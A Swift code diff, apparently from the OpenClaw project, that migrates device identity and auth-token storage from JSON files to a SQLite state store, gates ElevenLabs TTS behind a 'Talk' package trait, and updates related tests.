func `save dict preserves gateway auth without audit sidecar`() async throws {
let stateDir = FileManager().temporaryDirectory
.appendingPathComponent("openclaw-state-\(UUID().uuidString)", isDirectory: true)
let configPath = stateDir.appendingPathComponent("openclaw.json")
let sidecars = self.legacyConfigSidecarURLs(in: stateDir)
defer { try? FileManager().removeItem(at: stateDir) }
@@ -379,14 +414,8 @@ struct OpenClawConfigFileTests {
#expect(auth?["mode"] as? String == "token")
#expect(auth?["token"] as? String == "test-token") // pragma: allowlist secret
#expect((root?["meta"] as? [String: Any]) != nil)
let rawAudit = try String(contentsOf: auditPath, encoding: .utf8)
let last = rawAudit.split(whereSeparator: \.isNewline).map(String.init).last
let auditRoot = try JSONSerialization.jsonObject(with: Data((last ?? "{}").utf8)) as? [String: Any]
#expect(auditRoot?["result"] as? String == "success")
#expect(auditRoot?["preservedGatewayAuth"] as? Bool == true)
let suspicious = auditRoot?["suspicious"] as? [String] ?? []
#expect(suspicious.contains("gateway-auth-preserved"))
#expect(!FileManager().fileExists(atPath: sidecars.audit.path))
#expect(!FileManager().fileExists(atPath: sidecars.health.path))
}
}
@@ -396,7 +425,7 @@ struct OpenClawConfigFileTests {
let stateDir = FileManager().temporaryDirectory
.appendingPathComponent("openclaw-state-\(UUID().uuidString)", isDirectory: true)
let configPath = stateDir.appendingPathComponent("openclaw.json")
let auditPath = stateDir.appendingPathComponent("logs/config-audit.jsonl")
let sidecars = self.legacyConfigSidecarURLs(in: stateDir)
defer { try? FileManager().removeItem(at: stateDir) }
@@ -428,21 +457,16 @@ struct OpenClawConfigFileTests {
let after = try String(contentsOf: configPath, encoding: .utf8)
#expect(after == before)
let rawAudit = try String(contentsOf: auditPath, encoding: .utf8)
let lines = rawAudit.split(whereSeparator: \.isNewline).map(String.init)
guard let last = lines.last else {
Issue.record("Missing rejected config audit line")
return
}
let auditRoot = try JSONSerialization.jsonObject(with: Data(last.utf8)) as? [String: Any]
#expect(auditRoot?["result"] as? String == "rejected")
let suspicious = auditRoot?["suspicious"] as? [String] ?? []
let blocking = auditRoot?["blocking"] as? [String] ?? []
#expect(suspicious.contains("gateway-mode-removed"))
#expect(blocking.contains("gateway-mode-removed"))
if let rejectedPath = auditRoot?["rejectedPath"] as? String {
#expect(FileManager().fileExists(atPath: rejectedPath))
let attributes = try FileManager().attributesOfItem(atPath: rejectedPath)
#expect(!FileManager().fileExists(atPath: sidecars.audit.path))
#expect(!FileManager().fileExists(atPath: sidecars.health.path))
let rejectedURL = try self.configRecoveryFile(
in: configPath.deletingLastPathComponent(),
configName: configPath.lastPathComponent,
marker: "rejected")
if let rejectedURL {
#expect(FileManager().fileExists(atPath: rejectedURL.path))
let attributes = try FileManager().attributesOfItem(atPath: rejectedURL.path)
let mode = attributes[.posixPermissions] as? NSNumber
#expect(mode?.intValue == 0o600)
} else {

View File

@@ -9,7 +9,7 @@ struct SettingsViewSmokeTests {
@Test func `cron settings builds body`() {
let store = CronJobsStore(isPreview: true)
store.schedulerEnabled = false
store.schedulerStorePath = "/tmp/openclaw-cron-store.json"
store.schedulerStoreKey = "default"
let job1 = CronJob(
id: "job-1",

View File

@@ -25,8 +25,8 @@ import Testing
let entry = VoiceWakeForwarder.SessionRouteEntry(
key: "agent:main:telegram:group:6812765697",
channel: "telegram",
lastChannel: "telegram",
lastTo: "telegram:6812765697",
lastChannel: nil,
lastTo: nil,
deliveryContext: .init(channel: "telegram", to: "telegram:6812765697"))
let opts = VoiceWakeForwarder.forwardOptions(
@@ -41,6 +41,23 @@ import Testing
#expect(opts.channel.shouldDeliver(opts.deliver) == true)
}
@Test func `selected forward options keep legacy session route fallback`() {
let entry = VoiceWakeForwarder.SessionRouteEntry(
key: "legacy-session",
channel: nil,
lastChannel: "telegram",
lastTo: "telegram:6812765697",
deliveryContext: nil)
let opts = VoiceWakeForwarder.forwardOptions(
sessionKey: entry.key,
routeEntry: entry)
#expect(opts.channel == .telegram)
#expect(opts.to == "telegram:6812765697")
#expect(opts.channel.shouldDeliver(opts.deliver) == true)
}
@Test func `selected forward options parse channel scoped session fallback`() {
let opts = VoiceWakeForwarder.forwardOptions(
sessionKey: "agent:main:discord:channel:123:456",

View File

@@ -13,6 +13,10 @@ let package = Package(
.library(name: "OpenClawKit", targets: ["OpenClawKit"]),
.library(name: "OpenClawChatUI", targets: ["OpenClawChatUI"]),
],
traits: [
.trait(name: "Talk", description: "ElevenLabs cloud TTS / talk support"),
.default(enabledTraits: ["Talk"]),
],
dependencies: [
.package(url: "https://github.com/steipete/ElevenLabsKit", exact: "0.1.1"),
.package(url: "https://github.com/gonzalezreal/textual", exact: "0.3.1"),
@@ -28,7 +32,7 @@ let package = Package(
name: "OpenClawKit",
dependencies: [
"OpenClawProtocol",
.product(name: "ElevenLabsKit", package: "ElevenLabsKit"),
.product(name: "ElevenLabsKit", package: "ElevenLabsKit", condition: .when(traits: ["Talk"])),
],
path: "Sources/OpenClawKit",
resources: [

View File

@@ -153,20 +153,20 @@ public struct OpenClawChatSessionEntry: Codable, Identifiable, Sendable, Hashabl
public struct OpenClawChatSessionsListResponse: Codable, Sendable {
public let ts: Double?
public let path: String?
public let databasePath: String?
public let count: Int?
public let defaults: OpenClawChatSessionsDefaults?
public let sessions: [OpenClawChatSessionEntry]
public init(
ts: Double?,
path: String?,
databasePath: String?,
count: Int?,
defaults: OpenClawChatSessionsDefaults?,
sessions: [OpenClawChatSessionEntry])
{
self.ts = ts
self.path = path
self.databasePath = databasePath
self.count = count
self.defaults = defaults
self.sessions = sessions

View File

@@ -1,3 +1,4 @@
#if Talk
import Foundation
@MainActor
@@ -14,3 +15,4 @@ public protocol PCMStreamingAudioPlaying {
extension StreamingAudioPlayer: StreamingAudioPlaying {}
extension PCMStreamingAudioPlayer: PCMStreamingAudioPlaying {}
#endif

View File

@@ -21,12 +21,14 @@ private struct DeviceAuthStoreFile: Codable {
}
public enum DeviceAuthStore {
private static let fileName = "device-auth.json"
private static let legacyFileName = "device-auth.json"
private static let androidSecurePrefsTokenMarker = "__openclaw_secure_prefs__"
public static func loadToken(deviceId: String, role: String) -> DeviceAuthEntry? {
guard let store = readStore(), store.deviceId == deviceId else { return nil }
let role = self.normalizeRole(role)
return store.tokens[role]
guard let row = OpenClawSQLiteStateStore.readDeviceAuthToken(deviceId: deviceId, role: role)
else { return self.loadLegacyTokenIfNoSQLiteAuthRows(deviceId: deviceId, role: role) }
return self.entry(from: row)
}
public static func storeToken(
@@ -36,31 +38,48 @@ public enum DeviceAuthStore {
scopes: [String] = []) -> DeviceAuthEntry
{
let normalizedRole = self.normalizeRole(role)
var next = self.readStore()
if next?.deviceId != deviceId {
next = DeviceAuthStoreFile(version: 1, deviceId: deviceId, tokens: [:])
}
let entry = DeviceAuthEntry(
token: token,
role: normalizedRole,
scopes: normalizeScopes(scopes),
updatedAtMs: Int(Date().timeIntervalSince1970 * 1000))
if next == nil {
next = DeviceAuthStoreFile(version: 1, deviceId: deviceId, tokens: [:])
}
next?.tokens[normalizedRole] = entry
if let store = next {
self.writeStore(store)
let currentDeviceId = OpenClawSQLiteStateStore.readLatestDeviceAuthDeviceId()
let legacyStoreToImport =
currentDeviceId == nil ? self.readLegacyStore().flatMap { $0.deviceId == deviceId ? $0 : nil } : nil
let sqliteDeviceChanged = currentDeviceId != nil && currentDeviceId != deviceId
let shouldDropLegacyStore =
sqliteDeviceChanged || self.readLegacyStore().map { $0.deviceId != deviceId } == true
do {
if sqliteDeviceChanged {
try OpenClawSQLiteStateStore.deleteAllDeviceAuthTokens()
}
if let legacyStoreToImport {
for legacyEntry in legacyStoreToImport.tokens.values {
let normalized = self.normalizedLegacyEntry(legacyEntry)
try OpenClawSQLiteStateStore.upsertDeviceAuthToken(
self.row(deviceId: deviceId, entry: normalized))
}
}
try OpenClawSQLiteStateStore.upsertDeviceAuthToken(self.row(deviceId: deviceId, entry: entry))
if shouldDropLegacyStore || legacyStoreToImport != nil {
self.removeLegacyStore()
} else {
self.removeLegacyToken(deviceId: deviceId, role: normalizedRole)
}
} catch {
var fallback =
self.readLegacyStore().flatMap { $0.deviceId == deviceId ? $0 : nil }
?? DeviceAuthStoreFile(version: 1, deviceId: deviceId, tokens: [:])
fallback.tokens[normalizedRole] = entry
self.writeLegacyStore(fallback)
}
return entry
}
public static func clearToken(deviceId: String, role: String) {
guard var store = readStore(), store.deviceId == deviceId else { return }
let normalizedRole = self.normalizeRole(role)
guard store.tokens[normalizedRole] != nil else { return }
store.tokens.removeValue(forKey: normalizedRole)
self.writeStore(store)
try? OpenClawSQLiteStateStore.deleteDeviceAuthToken(deviceId: deviceId, role: normalizedRole)
self.removeLegacyToken(deviceId: deviceId, role: normalizedRole)
}
private static func normalizeRole(_ role: String) -> String {
@@ -74,24 +93,71 @@ public enum DeviceAuthStore {
return Array(Set(trimmed)).sorted()
}
private static func fileURL() -> URL {
DeviceIdentityPaths.stateDirURL()
.appendingPathComponent("identity", isDirectory: true)
.appendingPathComponent(self.fileName, isDirectory: false)
private static func entry(from row: OpenClawSQLiteDeviceAuthTokenRow) -> DeviceAuthEntry? {
guard row.token != self.androidSecurePrefsTokenMarker else { return nil }
return DeviceAuthEntry(
token: row.token,
role: row.role,
scopes: self.decodeScopes(row.scopesJSON),
updatedAtMs: row.updatedAtMs)
}
private static func readStore() -> DeviceAuthStoreFile? {
let url = self.fileURL()
guard let data = try? Data(contentsOf: url) else { return nil }
guard let decoded = try? JSONDecoder().decode(DeviceAuthStoreFile.self, from: data) else {
return nil
}
guard decoded.version == 1 else { return nil }
private static func normalizedLegacyEntry(_ entry: DeviceAuthEntry) -> DeviceAuthEntry {
DeviceAuthEntry(
token: entry.token,
role: self.normalizeRole(entry.role),
scopes: self.normalizeScopes(entry.scopes),
updatedAtMs: entry.updatedAtMs)
}
private static func row(deviceId: String, entry: DeviceAuthEntry) -> OpenClawSQLiteDeviceAuthTokenRow {
OpenClawSQLiteDeviceAuthTokenRow(
deviceId: deviceId,
role: entry.role,
token: entry.token,
scopesJSON: self.encodeScopes(entry.scopes),
updatedAtMs: entry.updatedAtMs)
}
private static func encodeScopes(_ scopes: [String]) -> String {
guard let data = try? JSONEncoder().encode(scopes),
let raw = String(data: data, encoding: .utf8)
else { return "[]" }
return raw
}
private static func decodeScopes(_ raw: String) -> [String] {
guard let data = raw.data(using: .utf8),
let decoded = try? JSONDecoder().decode([String].self, from: data)
else { return [] }
return decoded
}
private static func writeStore(_ store: DeviceAuthStoreFile) {
let url = self.fileURL()
private static func loadLegacyTokenIfNoSQLiteAuthRows(deviceId: String, role: String) -> DeviceAuthEntry? {
guard OpenClawSQLiteStateStore.readLatestDeviceAuthDeviceId() == nil else {
self.removeLegacyToken(deviceId: deviceId, role: role)
return nil
}
return self.importLegacyTokenIfNeeded(deviceId: deviceId, role: role)
}
private static func legacyFileURL() -> URL {
DeviceIdentityPaths.legacyStateDirURL()
.appendingPathComponent("identity", isDirectory: true)
.appendingPathComponent(self.legacyFileName, isDirectory: false)
}
private static func readLegacyStore() -> DeviceAuthStoreFile? {
let url = self.legacyFileURL()
guard let data = try? Data(contentsOf: url),
let decoded = try? JSONDecoder().decode(DeviceAuthStoreFile.self, from: data),
decoded.version == 1
else { return nil }
return decoded
}
private static func writeLegacyStore(_ store: DeviceAuthStoreFile) {
let url = self.legacyFileURL()
do {
try FileManager.default.createDirectory(
at: url.deletingLastPathComponent(),
@@ -103,4 +169,35 @@ public enum DeviceAuthStore {
// best-effort only
}
}
private static func importLegacyTokenIfNeeded(deviceId: String, role: String) -> DeviceAuthEntry? {
guard let store = self.readLegacyStore(), store.deviceId == deviceId else { return nil }
do {
for entry in store.tokens.values {
let normalized = self.normalizedLegacyEntry(entry)
try OpenClawSQLiteStateStore.upsertDeviceAuthToken(self.row(deviceId: deviceId, entry: normalized))
}
try FileManager.default.removeItem(at: self.legacyFileURL())
} catch {
return store.tokens[role].map(self.normalizedLegacyEntry)
}
guard let row = OpenClawSQLiteStateStore.readDeviceAuthToken(deviceId: deviceId, role: role) else {
return nil
}
return self.entry(from: row)
}
private static func removeLegacyToken(deviceId: String, role: String) {
guard var store = self.readLegacyStore(), store.deviceId == deviceId else { return }
store.tokens.removeValue(forKey: role)
if store.tokens.isEmpty {
self.removeLegacyStore()
} else {
self.writeLegacyStore(store)
}
}
private static func removeLegacyStore() {
try? FileManager.default.removeItem(at: self.legacyFileURL())
}
}

View File

@@ -1,5 +1,6 @@
import CryptoKit
import Foundation
import SQLite3
public struct DeviceIdentity: Codable, Sendable {
public var deviceId: String
@@ -17,8 +18,17 @@ public struct DeviceIdentity: Codable, Sendable {
enum DeviceIdentityPaths {
private static let stateDirEnv = ["OPENCLAW_STATE_DIR"]
#if DEBUG
nonisolated(unsafe) static var testingStateDirURL: URL?
#endif
static func stateDirURL() -> URL {
#if DEBUG
if let testingStateDirURL {
return testingStateDirURL
}
#endif
for key in self.stateDirEnv {
if let raw = getenv(key) {
let value = String(cString: raw).trimmingCharacters(in: .whitespacesAndNewlines)
@@ -28,7 +38,30 @@ enum DeviceIdentityPaths {
}
}
if let appSupport = FileManager.default.urls(for: .applicationSupportDirectory, in: .userDomainMask).first {
return FileManager.default.homeDirectoryForCurrentUser
.appendingPathComponent(".openclaw", isDirectory: true)
}
static func legacyStateDirURL() -> URL {
#if DEBUG
if let testingStateDirURL {
return testingStateDirURL
}
#endif
for key in self.stateDirEnv {
if let raw = getenv(key) {
let value = String(cString: raw).trimmingCharacters(in: .whitespacesAndNewlines)
if !value.isEmpty {
return URL(fileURLWithPath: value, isDirectory: true)
}
}
}
if let appSupport = FileManager.default.urls(
for: .applicationSupportDirectory,
in: .userDomainMask).first
{
return appSupport.appendingPathComponent("OpenClaw", isDirectory: true)
}
@@ -37,7 +70,7 @@ enum DeviceIdentityPaths {
}
public enum DeviceIdentityStore {
private static let fileName = "device.json"
private static let identityKey = "default"
private static let ed25519SPKIPrefix = Data([
0x30, 0x2a, 0x30, 0x05, 0x06, 0x03, 0x2b, 0x65,
0x70, 0x03, 0x21, 0x00,
@@ -48,56 +81,140 @@ public enum DeviceIdentityStore {
])
public static func loadOrCreate() -> DeviceIdentity {
self.loadOrCreate(fileURL: self.fileURL())
}
static func loadOrCreate(fileURL url: URL) -> DeviceIdentity {
if let data = try? Data(contentsOf: url) {
switch self.decodeStoredIdentity(data) {
let row: OpenClawSQLiteDeviceIdentityRow?
do {
row = try self.readStoredIdentityRow()
} catch {
preconditionFailure(
"OpenClaw device identity SQLite read failed: \(error.localizedDescription). " +
"Run openclaw doctor --fix before starting runtime.")
}
if let row {
switch self.decodeStoredIdentity(self.storedIdentity(from: row)) {
case .identity(let decoded):
return decoded
case .recognizedInvalid:
return self.generate()
case .unknown:
break
preconditionFailure("Stored OpenClaw device identity is invalid. Run openclaw doctor --fix.")
}
}
switch self.loadLegacyIdentity() {
case .some(.identity(let identity)):
if self.save(identity) {
try? FileManager.default.removeItem(at: self.legacyIdentityURL())
}
return identity
case .some(.recognizedInvalid):
preconditionFailure(
"Legacy OpenClaw device identity exists at \(self.legacyIdentityURL().path). " +
"Run openclaw doctor --fix before starting runtime.")
case nil:
break
}
let identity = self.generate()
self.save(identity, to: url)
_ = self.save(identity)
return identity
}
static func legacyIdentityMigrationRequired() -> Bool {
FileManager.default.fileExists(atPath: self.legacyIdentityURL().path)
}
private static func legacyIdentityURL() -> URL {
DeviceIdentityPaths.legacyStateDirURL()
.appendingPathComponent("identity", isDirectory: true)
.appendingPathComponent("device.json", isDirectory: false)
}
private enum DecodeResult {
case identity(DeviceIdentity)
case recognizedInvalid
case unknown
}
private static func decodeStoredIdentity(_ data: Data) -> DecodeResult {
private static func readStoredIdentityRow() throws -> OpenClawSQLiteDeviceIdentityRow? {
try self.withSQLiteRetry {
try OpenClawSQLiteStateStore.readDeviceIdentityChecked(key: self.identityKey)
}
}
private static func withSQLiteRetry<T>(_ operation: () throws -> T) throws -> T {
var lastError: Error?
for attempt in 0..<3 {
do {
return try operation()
} catch {
lastError = error
guard attempt < 2, self.isTransientSQLiteError(error) else {
throw error
}
Thread.sleep(forTimeInterval: 0.05 * Double(attempt + 1))
}
}
throw lastError ?? NSError(
domain: "OpenClawSQLiteStateStore",
code: Int(SQLITE_ERROR),
userInfo: [NSLocalizedDescriptionKey: "SQLite operation failed"])
}
private static func isTransientSQLiteError(_ error: Error) -> Bool {
let nsError = error as NSError
guard nsError.domain == "OpenClawSQLiteStateStore" else { return false }
return nsError.code == Int(SQLITE_BUSY) || nsError.code == Int(SQLITE_LOCKED)
}
private static func storedIdentity(from row: OpenClawSQLiteDeviceIdentityRow) -> StoredDeviceIdentity {
StoredDeviceIdentity(
version: 1,
deviceId: row.deviceId,
publicKeyPem: row.publicKeyPem,
privateKeyPem: row.privateKeyPem,
createdAtMs: row.createdAtMs)
}
private static func decodeStoredIdentity(_ decoded: StoredDeviceIdentity) -> DecodeResult {
guard decoded.version == 1,
let publicKeyData = self.rawPublicKey(fromPEM: decoded.publicKeyPem),
let privateKeyData = self.rawPrivateKey(fromPEM: decoded.privateKeyPem),
self.keyPairMatches(publicKeyData: publicKeyData, privateKeyData: privateKeyData)
else {
return .recognizedInvalid
}
return .identity(DeviceIdentity(
deviceId: self.deviceId(publicKeyData: publicKeyData),
publicKey: publicKeyData.base64EncodedString(),
privateKey: privateKeyData.base64EncodedString(),
createdAtMs: decoded.createdAtMs))
}
private static func loadLegacyIdentity() -> DecodeResult? {
let url = self.legacyIdentityURL()
guard FileManager.default.fileExists(atPath: url.path) else {
return nil
}
guard let data = try? Data(contentsOf: url) else {
return .recognizedInvalid
}
return self.decodeLegacyIdentity(data)
}
private static func decodeLegacyIdentity(_ data: Data) -> DecodeResult {
let decoder = JSONDecoder()
if let decoded = try? decoder.decode(DeviceIdentity.self, from: data) {
guard let identity = self.normalizedRawIdentity(decoded) else {
return .recognizedInvalid
}
return .identity(identity)
if let stored = try? decoder.decode(StoredDeviceIdentity.self, from: data) {
return self.decodeStoredIdentity(stored)
}
if let decoded = try? decoder.decode(PemDeviceIdentity.self, from: data) {
guard decoded.version == 1,
let publicKeyData = self.rawPublicKey(fromPEM: decoded.publicKeyPem),
let privateKeyData = self.rawPrivateKey(fromPEM: decoded.privateKeyPem),
self.keyPairMatches(publicKeyData: publicKeyData, privateKeyData: privateKeyData)
else {
return .recognizedInvalid
}
return .identity(DeviceIdentity(
deviceId: self.deviceId(publicKeyData: publicKeyData),
publicKey: publicKeyData.base64EncodedString(),
privateKey: privateKeyData.base64EncodedString(),
createdAtMs: decoded.createdAtMs))
guard let decoded = try? decoder.decode(DeviceIdentity.self, from: data),
let publicKeyData = Data(base64Encoded: decoded.publicKey),
let privateKeyData = Data(base64Encoded: decoded.privateKey),
publicKeyData.count == 32,
privateKeyData.count == 32,
self.keyPairMatches(publicKeyData: publicKeyData, privateKeyData: privateKeyData)
else {
return .recognizedInvalid
}
return self.hasRecognizedIdentityShape(data) ? .recognizedInvalid : .unknown
return .identity(DeviceIdentity(
deviceId: self.deviceId(publicKeyData: publicKeyData),
publicKey: publicKeyData.base64EncodedString(),
privateKey: privateKeyData.base64EncodedString(),
createdAtMs: decoded.createdAtMs))
}
public static func signPayload(_ payload: String, identity: DeviceIdentity) -> String? {
@@ -137,22 +254,6 @@ public enum DeviceIdentityStore {
return self.base64UrlEncode(data)
}
private static func normalizedRawIdentity(_ identity: DeviceIdentity) -> DeviceIdentity? {
guard !identity.deviceId.isEmpty,
let publicKeyData = Data(base64Encoded: identity.publicKey),
let privateKeyData = Data(base64Encoded: identity.privateKey)
else { return nil }
guard publicKeyData.count == 32 && privateKeyData.count == 32,
self.keyPairMatches(publicKeyData: publicKeyData, privateKeyData: privateKeyData)
else { return nil }
return DeviceIdentity(
deviceId: self.deviceId(publicKeyData: publicKeyData),
publicKey: identity.publicKey,
privateKey: identity.privateKey,
createdAtMs: identity.createdAtMs)
}
private static func rawPublicKey(fromPEM pem: String) -> Data? {
guard let der = self.derData(fromPEM: pem),
der.count == self.ed25519SPKIPrefix.count + 32,
@@ -185,41 +286,55 @@ public enum DeviceIdentityStore {
return Data(base64Encoded: body)
}
private static func hasRecognizedIdentityShape(_ data: Data) -> Bool {
guard let object = try? JSONSerialization.jsonObject(with: data) as? [String: Any] else {
return false
}
return object.keys.contains("publicKeyPem")
|| object.keys.contains("privateKeyPem")
|| object.keys.contains("publicKey")
|| object.keys.contains("privateKey")
private static func pem(label: String, der: Data) -> String {
let chunks = stride(from: 0, to: der.count, by: 48)
.map { offset -> String in
let end = min(offset + 48, der.count)
return der.subdata(in: offset..<end).base64EncodedString()
}
.joined(separator: "\n")
return "-----BEGIN \(label)-----\n\(chunks)\n-----END \(label)-----\n"
}
private static func deviceId(publicKeyData: Data) -> String {
SHA256.hash(data: publicKeyData).compactMap { String(format: "%02x", $0) }.joined()
}
private static func save(_ identity: DeviceIdentity, to url: URL) {
@discardableResult
private static func save(_ identity: DeviceIdentity) -> Bool {
do {
try FileManager.default.createDirectory(
at: url.deletingLastPathComponent(),
withIntermediateDirectories: true)
let data = try JSONEncoder().encode(identity)
try data.write(to: url, options: [.atomic])
let stored = self.storedIdentity(from: identity)
try self.withSQLiteRetry {
try OpenClawSQLiteStateStore.writeDeviceIdentity(
key: self.identityKey,
identity: OpenClawSQLiteDeviceIdentityRow(
deviceId: stored.deviceId,
publicKeyPem: stored.publicKeyPem,
privateKeyPem: stored.privateKeyPem,
createdAtMs: stored.createdAtMs))
}
return true
} catch {
// best-effort only
return false
}
}
private static func fileURL() -> URL {
let base = DeviceIdentityPaths.stateDirURL()
return base
.appendingPathComponent("identity", isDirectory: true)
.appendingPathComponent(self.fileName, isDirectory: false)
private static func storedIdentity(from identity: DeviceIdentity) -> StoredDeviceIdentity {
guard let publicKeyData = Data(base64Encoded: identity.publicKey),
let privateKeyData = Data(base64Encoded: identity.privateKey)
else {
preconditionFailure("Generated OpenClaw device identity contains invalid base64")
}
return StoredDeviceIdentity(
version: 1,
deviceId: self.deviceId(publicKeyData: publicKeyData),
publicKeyPem: self.pem(label: "PUBLIC KEY", der: self.ed25519SPKIPrefix + publicKeyData),
privateKeyPem: self.pem(label: "PRIVATE KEY", der: self.ed25519PKCS8PrivatePrefix + privateKeyData),
createdAtMs: identity.createdAtMs)
}
}
private struct PemDeviceIdentity: Codable {
private struct StoredDeviceIdentity: Codable {
var version: Int
var deviceId: String
var publicKeyPem: String

View File

@@ -1,3 +1,4 @@
#if Talk
@_exported import ElevenLabsKit
public typealias ElevenLabsVoice = ElevenLabsKit.ElevenLabsVoice
@@ -7,3 +8,4 @@ public typealias TalkTTSValidation = ElevenLabsKit.TalkTTSValidation
public typealias StreamingAudioPlayer = ElevenLabsKit.StreamingAudioPlayer
public typealias PCMStreamingAudioPlayer = ElevenLabsKit.PCMStreamingAudioPlayer
public typealias StreamingPlaybackResult = ElevenLabsKit.StreamingPlaybackResult
#endif

View File

@@ -0,0 +1,678 @@
import Foundation
import OSLog
import SQLite3
public struct OpenClawSQLiteDeviceIdentityRow: Sendable {
public let deviceId: String
public let publicKeyPem: String
public let privateKeyPem: String
public let createdAtMs: Int
public init(deviceId: String, publicKeyPem: String, privateKeyPem: String, createdAtMs: Int) {
self.deviceId = deviceId
self.publicKeyPem = publicKeyPem
self.privateKeyPem = privateKeyPem
self.createdAtMs = createdAtMs
}
}
public struct OpenClawSQLiteDeviceAuthTokenRow: Sendable {
public let deviceId: String
public let role: String
public let token: String
public let scopesJSON: String
public let updatedAtMs: Int
public init(deviceId: String, role: String, token: String, scopesJSON: String, updatedAtMs: Int) {
self.deviceId = deviceId
self.role = role
self.token = token
self.scopesJSON = scopesJSON
self.updatedAtMs = updatedAtMs
}
}
public struct OpenClawSQLitePortGuardianRecord: Sendable {
public let port: Int
public let pid: Int32
public let command: String
public let mode: String
public let timestamp: TimeInterval
public init(port: Int, pid: Int32, command: String, mode: String, timestamp: TimeInterval) {
self.port = port
self.pid = pid
self.command = command
self.mode = mode
self.timestamp = timestamp
}
}
public enum OpenClawSQLiteStateStore {
private static let logger = Logger(subsystem: "ai.openclaw", category: "sqlite-state")
private static let secureStateDirPermissions = 0o700
public static func databaseURL() -> URL {
DeviceIdentityPaths.stateDirURL()
.appendingPathComponent("state", isDirectory: true)
.appendingPathComponent("openclaw.sqlite")
}
public static func tableLocationForDisplay(table: String, key: String) -> String {
"\(self.databaseURL().path)#table/\(table)/\(key)"
}
public static func readDeviceIdentity(key: String = "default") -> OpenClawSQLiteDeviceIdentityRow? {
do {
return try self.readDeviceIdentityChecked(key: key)
} catch {
self.logger.warning("SQLite device identity read failed: \(error.localizedDescription, privacy: .public)")
return nil
}
}
static func readDeviceIdentityChecked(key: String = "default") throws -> OpenClawSQLiteDeviceIdentityRow? {
let db = try self.openStateDatabase()
defer { sqlite3_close(db) }
let sql = """
SELECT device_id, public_key_pem, private_key_pem, created_at_ms
FROM device_identities
WHERE identity_key = ?
"""
var statement: OpaquePointer?
try self.prepare(db, sql, &statement)
defer { sqlite3_finalize(statement) }
self.bindText(statement, index: 1, value: key)
let status = sqlite3_step(statement)
if status == SQLITE_ROW,
let deviceId = self.columnString(statement, index: 0),
let publicKeyPem = self.columnString(statement, index: 1),
let privateKeyPem = self.columnString(statement, index: 2)
{
return OpenClawSQLiteDeviceIdentityRow(
deviceId: deviceId,
publicKeyPem: publicKeyPem,
privateKeyPem: privateKeyPem,
createdAtMs: Int(sqlite3_column_int64(statement, 3)))
}
if status == SQLITE_DONE { return nil }
throw self.sqliteError(db, context: "SQLite device identity read failed")
}
public static func writeDeviceIdentity(
key: String = "default",
identity: OpenClawSQLiteDeviceIdentityRow,
updatedAtMs: Int = Int(Date().timeIntervalSince1970 * 1000)) throws
{
try self.withWriteTransaction { db in
let sql = """
INSERT INTO device_identities (
identity_key, device_id, public_key_pem, private_key_pem, created_at_ms, updated_at_ms
)
VALUES (?, ?, ?, ?, ?, ?)
ON CONFLICT(identity_key) DO UPDATE SET
device_id = excluded.device_id,
public_key_pem = excluded.public_key_pem,
private_key_pem = excluded.private_key_pem,
created_at_ms = excluded.created_at_ms,
updated_at_ms = excluded.updated_at_ms
"""
var statement: OpaquePointer?
try self.prepare(db, sql, &statement)
defer { sqlite3_finalize(statement) }
self.bindText(statement, index: 1, value: key)
self.bindText(statement, index: 2, value: identity.deviceId)
self.bindText(statement, index: 3, value: identity.publicKeyPem)
self.bindText(statement, index: 4, value: identity.privateKeyPem)
sqlite3_bind_int64(statement, 5, Int64(identity.createdAtMs))
sqlite3_bind_int64(statement, 6, Int64(updatedAtMs))
guard sqlite3_step(statement) == SQLITE_DONE else {
throw self.sqliteError(db, context: "SQLite device identity write failed")
}
}
}
public static func readDeviceAuthToken(deviceId: String, role: String) -> OpenClawSQLiteDeviceAuthTokenRow? {
do {
let db = try self.openStateDatabase()
defer { sqlite3_close(db) }
let sql = """
SELECT device_id, role, token, scopes_json, updated_at_ms
FROM device_auth_tokens
WHERE device_id = ? AND role = ?
"""
var statement: OpaquePointer?
try self.prepare(db, sql, &statement)
defer { sqlite3_finalize(statement) }
self.bindText(statement, index: 1, value: deviceId)
self.bindText(statement, index: 2, value: role)
let status = sqlite3_step(statement)
if status == SQLITE_ROW,
let rowDeviceId = self.columnString(statement, index: 0),
let rowRole = self.columnString(statement, index: 1),
let token = self.columnString(statement, index: 2),
let scopesJSON = self.columnString(statement, index: 3)
{
return OpenClawSQLiteDeviceAuthTokenRow(
deviceId: rowDeviceId,
role: rowRole,
token: token,
scopesJSON: scopesJSON,
updatedAtMs: Int(sqlite3_column_int64(statement, 4)))
}
if status == SQLITE_DONE { return nil }
throw self.sqliteError(db, context: "SQLite device auth read failed")
} catch {
self.logger.warning("SQLite device auth read failed: \(error.localizedDescription, privacy: .public)")
return nil
}
}
public static func readLatestDeviceAuthDeviceId() -> String? {
do {
let db = try self.openStateDatabase()
defer { sqlite3_close(db) }
let sql = """
SELECT device_id
FROM device_auth_tokens
ORDER BY updated_at_ms DESC, device_id ASC
LIMIT 1
"""
var statement: OpaquePointer?
try self.prepare(db, sql, &statement)
defer { sqlite3_finalize(statement) }
let status = sqlite3_step(statement)
if status == SQLITE_ROW { return self.columnString(statement, index: 0) }
if status == SQLITE_DONE { return nil }
throw self.sqliteError(db, context: "SQLite device auth latest-device read failed")
} catch {
self.logger.warning(
"SQLite device auth latest-device read failed: \(error.localizedDescription, privacy: .public)")
return nil
}
}
public static func upsertDeviceAuthToken(_ row: OpenClawSQLiteDeviceAuthTokenRow) throws {
try self.withWriteTransaction { db in
let sql = """
INSERT INTO device_auth_tokens (device_id, role, token, scopes_json, updated_at_ms)
VALUES (?, ?, ?, ?, ?)
ON CONFLICT(device_id, role) DO UPDATE SET
token = excluded.token,
scopes_json = excluded.scopes_json,
updated_at_ms = excluded.updated_at_ms
"""
var statement: OpaquePointer?
try self.prepare(db, sql, &statement)
defer { sqlite3_finalize(statement) }
self.bindText(statement, index: 1, value: row.deviceId)
self.bindText(statement, index: 2, value: row.role)
self.bindText(statement, index: 3, value: row.token)
self.bindText(statement, index: 4, value: row.scopesJSON)
sqlite3_bind_int64(statement, 5, Int64(row.updatedAtMs))
guard sqlite3_step(statement) == SQLITE_DONE else {
throw self.sqliteError(db, context: "SQLite device auth write failed")
}
}
}
public static func deleteDeviceAuthToken(deviceId: String, role: String) throws {
try self.withWriteTransaction { db in
let sql = "DELETE FROM device_auth_tokens WHERE device_id = ? AND role = ?"
var statement: OpaquePointer?
try self.prepare(db, sql, &statement)
defer { sqlite3_finalize(statement) }
self.bindText(statement, index: 1, value: deviceId)
self.bindText(statement, index: 2, value: role)
guard sqlite3_step(statement) == SQLITE_DONE else {
throw self.sqliteError(db, context: "SQLite device auth delete failed")
}
}
}
